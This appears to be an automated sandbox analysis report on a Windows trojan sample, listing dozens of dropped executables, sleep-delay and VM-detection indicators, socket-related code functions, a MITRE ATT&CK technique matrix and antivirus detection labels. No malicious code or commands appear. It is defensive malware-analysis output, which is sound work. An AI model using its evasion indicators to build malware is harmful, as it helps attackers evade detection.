Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-IUG4zGcbBzvzNdJv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-QmVIHCjf9VqYQ95N.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-XK86MMSGqdyh0W5j.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-S9mLKeVTibmzm085.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-i3DqfztkSkxjdOOT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-OTSOrmhlpPBxx1z0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-iW7fhM4FzUmYb7vN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-pZiVwtzAoHPN50fS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-SMLg9RViRYG2pkp6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-MkDE7nUolYAvIS4K.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-SKNw52t2NOdB7utQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-lPPuG2RrxVsPwO3X.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-nSkjqsOEKHn8zr0H.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-OEkS0r3Z3ATRkGxW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-pzfLarqkprlSO2uY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-cBftW9zYcUyutts4.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-TYDJ5mBBlE7fOmsC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-EJnWcEY70jNTCKDa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-zmf4GTpATeIJdXHM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-dOfNWxhGxDVM5njb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-VzjNx1jPI8EBAf3Q.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-epoE6KTuro0m1xNJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-YmUvcvAsSxinM0iL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-eei39BxrAlW6aX8E.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-OIzrhQpACDLMrvoU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-YQ9gXxkityqTj37o.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-LUEYWSrnqnW64tyL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-dIQ7PuzulNOWjRao.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-sRruH8z25Svnoo9L.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-OMok4oiMxwrfC1T9.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-J68guXWHhSRdzOvX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-hjuuzUmtGWBSTnRJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-wBSYZWWVkUWmC8pQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-kcYq3LQT7lYbdaDe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-tolfs77xPfDJew2m.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-bq6a0w9PvOP4ugLz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-vsxK6NHsLYHm3jak.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-TcaUQfBZEuTk2vBh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-ToqId0cmF9KU3PM3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-mZiov3C61rXFF0QW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-r2gYxmdgnH5fh0Tl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-dJL9srUqHWxbpcQx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-NxxFR5QGAAQFk5K5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-d57ykrWvlTZrDkZc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-WbnLg1fQUOoUplSV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-I6zVOkc7a2MoLHpC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-GswVbQAeth6AirwL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-lb1B7z5W8Hr4HXyC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-Iz6XhHUHigVtubDW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-jjtIOSCKSFCJbo5i.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-WBUGMs1oWatC1b9R.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-xqnIfi8BvwfeKF7n.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-FgpAC8WJsCEb80wY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-nIZ5n5lptzBCBPzM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-xQCbPBaBXuF4MpsD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-L9Cwe3j2i64ZA5Re.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-T5UBOmxC86bktOIn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-HGWO8ZYntiaZkSsz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-yaHGIObEHeHxPiG1.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-cR40kHbNSjvP90Vq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-O1lC3PbxC9VoVOC0.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-ohgyDPAuvT69bY1P.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-j3TM965RhhPaWaoT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-ymsS3UBlm6KtwJ4n.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-sz8sEdTvyndgp7Ss.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-lT8PohiYenvvawzn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-XzoPd5NlxkpB2Qkz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-vRPnVm1Qja67kBU8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-zp2ChanxJl0jb6U5.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-P95T1li6WZS69JnD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-pjdvkdP0LsUtRXiu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-vo3rAgWF4nEMJ6aR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-SZUDU6LfgbhpapuC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-E8VR5WWssDiJ6hpJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-Yf4NmWwsZ4N1yY95.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-VJi5bt4v05AnA3zO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-LRhmhC00EPTolTjv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-vHRnMKXku4QndQxg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-iQ6mR49yFM8ZeZJU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-oe1pzZn0FqkWwHnO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-sN0y7l8Im6L0ds43.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-G55U73FCHlQNV6Tv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\rifaien2-ddYzW9sGfJmlWZnw.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe TID: 7424

Thread sleep time: -3540000s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Thread delayed: delay time: 30000

Jump to behavior

Source: Yx1Wz608PO.exe, 00000000.00000002.2936639424.000000000095E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_004013A0 rdtsc

0_2_004013A0

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_00401020 SetUnhandledExceptionFilter,__getmainargs,__p__fmode,__p__environ,759E4600,_cexit,ExitProcess,759E4600,_setmode,_setmode,_setmode,		0_2_00401020
Source: C:\Users\user\Desktop\Yx1Wz608PO.exe	Code function: 0_2_0040101C SetUnhandledExceptionFilter,__getmainargs,__p__fmode,__p__environ,759E4600,_cexit,ExitProcess,759E4600,_setmode,_setmode,_setmode,		0_2_0040101C

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_0041CD18 cpuid

0_2_0041CD18

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_0040E858 memset,GetVersionExA,getsockopt,setsockopt,

0_2_0040E858

Source: C:\Users\user\Desktop\Yx1Wz608PO.exe

Code function: 0_2_0040E924 GetLastError,setsockopt,setsockopt,WSAIoctl,memset,memset,strncmp,strncmp,htons,htons,bind,memset,getsockname,WSAGetLastError,htons,WSAGetLastError,connect,WSAGetLastError,

0_2_0040E924

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Obfuscated Files or Information	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Software Packing	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Yx1Wz608PO.exe	84%	ReversingLabs	Win32.Trojan.CoreWarrior
Yx1Wz608PO.exe	100%	Avira	TR/Crypt.ULPM.Gen2
Yx1Wz608PO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-6R5WtqjpUktSTdyX.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-A57jwvvBTZZBhtF8.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-04RCQxCd2dv0My0K.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-3Yd5eRNryysSeb1S.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-2McOOOA0Nrrao2kH.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-5JMaNQJ1bicgDKr9.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-7tNM8tQoTbkooJnZ.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-DlmIbpKoNTOiCR62.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-9PANsJP5rpGyNZO8.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-A6jVTXjeaWbirx4X.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-BtW7KCBSW9z60IjW.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-AJCcQtfVrsedwKsZ.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-BGQBJ4RqEFRi5PE5.exe	100%	Avira	TR/Crypt.ULPM.Gen2
C:\Users\user\Desktop\rifaien2-AjoycwODvDSL5IAO.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-1u0hu8IxGgzV53b3.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-AbJq5JvGluWbFwwZ.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-7c2sZoOt8ZtCld1t.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-2ZT16A8KKoDdHefl.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-7bKKZTcwZ1AvB69O.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-3v9iLS8WuKhI5HYt.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-5nuJmBGqOVTVsVLa.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-6Q71fxUu8dtMFFZU.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-9KCDfoTvJTmqygky.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-96Wr0t4vpAyIwn2t.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-4cVt4GKfpP1OEa7u.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-0Jvg60acvlNTEetj.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-0G3Ju1SgiNMbtyyd.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-BxQHxwmcvdOeGoyr.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-COs3jWZ0Jp7WCrwG.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-9ZuBld8Y8200Rptx.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\rifaien2-6wusbbrgmMpcBTFV.exe	100%	Joe Sandbox ML
